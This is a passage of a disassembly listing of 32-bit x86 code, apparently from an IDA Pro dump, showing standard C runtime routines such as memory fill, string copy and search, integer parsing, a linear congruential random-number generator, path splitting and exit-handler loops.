[esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 nop call near ptr 27A0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2700543h push eax call near ptr 26F0B2Fh nop loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; 